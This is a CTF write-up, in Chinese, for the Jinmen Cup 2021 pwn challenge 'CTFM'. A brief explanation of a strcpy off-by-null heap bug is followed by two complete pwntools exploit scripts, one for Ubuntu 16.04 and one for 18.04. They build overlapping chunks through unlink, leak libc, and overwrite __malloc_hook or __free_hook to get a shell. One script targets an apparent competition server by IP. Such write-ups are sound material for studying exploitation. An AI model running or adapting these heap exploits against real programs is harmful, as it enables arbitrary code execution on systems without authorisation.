[津门杯] PwnCTFM - strcpy型off-by-null学习
这是津门杯 2021的一个pwn
题目很明显的off-by-null,第一思路肯定是:构造unlink->overlap->leak->tcache_attack。
但是由于是strcpy向堆内存中复制,所以不能同时构造prev_size
和size
域。首先很自然的想到了循环递减字符的方法清空prev_size
,然后写入需要的值。但是想错了一个地方,我以为所有堆块在释放前都要被检查inuse(p)
,这样使得循环递减的方法无法使用(因为这需要先溢出覆盖好size
的not inuse
标志)。但是查阅源码后发现,如果不定义MALLOC_DEBUG
的话,是不会有这个检查的,所以是我多虑了。
整理思路之后确定:用两个unsorted chunk
夹住一个unsorted chunk
和一个tcache chunk
,unlink构造overlap之后用被夹住的unsorted chunk
泄露地址,用tcache chunk
做tcache attack
写__free_hook
吸取经验,ptmalloc各个流程的检查还是要明晰一下的。
exp on Ubuntu16.04
from pwn import *
p = process("./pwn")
#p = remote("119.3.81.43", 49155)
elf = ELF("./pwn")
libc = ELF("./libc.so.6")
context.log_level = "debug"
# your choice>>
# list: 0x0000555555554000+0x203040
def add(name, size:int, des, score:int, finished=True):
p.sendlineafter(b"your choice>>", b"1")
p.sendafter(b"topic name:", name)
p.sendlineafter(b"des size:", str(size).encode())
p.sendafter(b"topic des:", des)
if finished:
p.sendlineafter(b"topic score:", str(score).encode())
def delete(idx:int):
p.sendlineafter(b"your choice>>", b"2")
p.sendlineafter(b"index:", str(idx).encode())
def show(idx:int):
p.sendlineafter(b"your choice>>", b"3")
p.sendlineafter(b"index:", str(idx).encode())
def exp():
p.sendlineafter(b"input manager name:", b"CTFM")
p.sendlineafter(b"input password:", b"123456")
#gdb.attach(p, "b *0x0000555555554000+0xe08\nc\n")
# build overlapping
add(b"AAAA", 0x90, b"unsorted", 100) #0
add(b"AAAA", 0x68, b"vuln", 100) #1
add(b"AAAA", 0x68, b"vuln", 100) #2
add(b"AAAA", 0xf0, b"AAAA", 100) #3
add(b"split", 0x10, b"split", 100) #4
#delete(0) into unsorted bin
delete(2)
add(b"AAAA", 0x68, b"a"*0x68, 100) #2
for i in range(7, -1, -1):
delete(2)
add(b"AAAA", 0x68, b"a"*(0x60+i), 100) #2
delete(2)
add(b"AAAA", 0x68, b"a"*0x60 + p64(0x180), 100) #2
delete(0)
delete(3) # unlink
# leak libc
add(b"BBBB", 0x90, b"BBBB", 100) #0
#add(b"BBBB", 0x68, b"BBBB", 100) #0
gdb.attach(p)
show(1)
p.recvuntil(b"topic des:")
libc_leak = u64(p.recv(6).ljust(8, b"\x00"))
libc_base = libc_leak - 88 - 0x10 - libc.symbols[b"__malloc_hook"]
malloc_hook = libc_base + libc.symbols[b"__malloc_hook"]
fake_chunk = malloc_hook - 0x23
one_gadget = libc_base + 0x4527a
print("libc_leak:", hex(libc_leak))
print("libc_base:", hex(libc_base))
print("malloc_hook:", hex(malloc_hook))
print("one_gadget:", hex(one_gadget))
# fastbin attack
add(b"BBBB", 0x68, b"BBBB", 100) #3
add(b"BBBB", 0x68, b"BBBB", 100) #5
delete(1)
delete(5)
delete(3)
add(b"tmp", 0x68, p64(fake_chunk), 100) #6
add(b"tmp", 0x68, "tmp", 100) #7
add(b"tmp", 0x68, "tmp", 100) #8
add(b"tmp", 0x68, b"a"*0x13 + p64(one_gadget), 100) #9
print("malloc_hook:", hex(malloc_hook))
# getshell
delete(2)
add(b"tmp", 0x68, "tmp", 100, False) #2
#gdb.attach(p)
p.interactive()
if __name__ == "__main__":
exp()
exp on ubuntu18.04
from pwn import *
#p = process("./pwn")
p = remote("119.3.81.43", 49155)
elf = ELF("./pwn")
libc = ELF("./libc.so.6")
context.log_level = "debug"
# your choice>>
# list: 0x0000555555554000+0x203040
def add(name, size:int, des, score:int, finished=True):
p.sendlineafter(b"your choice>>", b"1")
p.sendafter(b"topic name:", name)
p.sendlineafter(b"des size:", str(size).encode())
p.sendafter(b"topic des:", des)
if finished:
p.sendlineafter(b"topic score:", str(score).encode())
def delete(idx:int):
p.sendlineafter(b"your choice>>", b"2")
p.sendlineafter(b"index:", str(idx).encode())
def show(idx:int):
p.sendlineafter(b"your choice>>", b"3")
p.sendlineafter(b"index:", str(idx).encode())
def exp():
p.sendlineafter(b"input manager name:", b"CTFM")
p.sendlineafter(b"input password:", b"123456")
#gdb.attach(p, "b *0x0000555555554000+0xe08\nc\n")
# build overlapping
for i in range(7):
add(b"AAAA", 0xf0, b"unsorted", 100) #0-6
add(b"AAAA", 0xf0, b"unsorted", 100) #7
add(b"AAAA", 0x68, b"vuln", 100) #8
add(b"AAAA", 0xf0, b"unsorted", 100) #9
for i in range(6):
delete(i) #del 0-5
delete(7)
add(b"split", 0x10, b"split", 100) #0 split
delete(6)
## offbynull
delete(8)
add(b"AAAA", 0x68, b"a"*0x68, 100) #1
## make up prev_size
for i in range(8):
delete(1)
add(b"AAAA", 0x68, b"a"*(0x68-i), 100) #1
delete(1)
add(b"AAAA", 0x68, b"a"*0x60+p64(0x270), 100) #1
delete(9) #delete 9 unlink
#gdb.attach(p)
# leak libc
add(b"show", 0xf0, b"show", 100) #2
add(b"BBBB", 0xd0, b"BBBB", 100) #3
add(b"BBBB", 0x10, b"BBBB", 100) #4
show(2)
p.recvuntil(b"topic des:")
libc_leak = u64(p.recv(6).ljust(8, b"\x00"))
libc_base = libc_leak - 96 - 0x10 - libc.symbols[b"__malloc_hook"]
free_hook = libc_base + libc.symbols[b"__free_hook"]
system = libc_base + libc.symbols[b"system"]
print("libc_leak:", hex(libc_leak))
print("libc_base:", hex(libc_base))
# tcache attck
add(b"tmp", 0x68, b"tmp", 100) #5
delete(5)
delete(1)
add(b"BBBB", 0x80, b"BBBB", 100) #1
add(b"BBBB", 0x160, p64(free_hook), 100) #5
# rewrite freehook
add(b"CCCC", 0x68, b"/bin/sh\x00", 100) #6
add(b"CCCC", 0x68, p64(system), 100) #7
print("free_hook:", hex(free_hook))
delete(6)
#gdb.attach(p)
p.interactive()
if __name__ == "__main__":
exp()